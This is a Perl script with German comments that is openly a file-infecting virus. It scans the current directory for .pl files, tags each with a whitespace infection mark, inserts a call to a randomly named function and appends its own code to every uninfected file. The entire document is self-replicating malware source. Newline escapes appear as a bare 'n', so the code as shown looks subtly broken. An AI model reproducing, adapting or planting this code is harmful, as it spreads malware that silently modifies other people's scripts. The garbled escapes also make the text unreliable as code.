#!/usr/bin/perl               

&viri();

sub viri{

	sub isInfected{
		$file = $_[0];
		open(pl, "<", $file);
		@perl = <pl>;
		close(pl);
		return $perl[0] =~ /               /; # auf Infection Mark überprüfen
	}


	@case = ("A".."Z","a".."z","0".."9");
	$call = $case[int(rand(52))].$case[int(rand(62))].$case[int(rand(62))].$case[int(rand(62))].$case[int(rand(62))]; # zufälliger Funktionsname
	foreach $pl ( glob("*.pl") ) {
		if ( isInfected($pl) == 0) { # wenn noch nicht infiziert
			open(me, $0); # einlesen
			open(target, "<", "$pl");
			$_ = <target>;
			$_ = <target>;
			$new = $1 . "#!/usr/bin/perl               n&$call()n" . $_; # 1. Zeile mit Infectionmark und 2. Zeile mit Funktionscall schreiben
			while ( <target> ) { $new = $new . $_; } # Rest der Datei in Variable schreiben
			seek(me, 0, 0);
			while ( <me> ne "sub viri{n" ) { };
			$new = $new . "nsub $call{n";
			while ( <me> ) { $new = $new . $_; } # Viruscode in Variable schreiben
			close(target);
			open(target, ">", $pl);
			print target $new; # Variable in die Datei schreiben
			close(target);
			close(me);
		}
	}
}

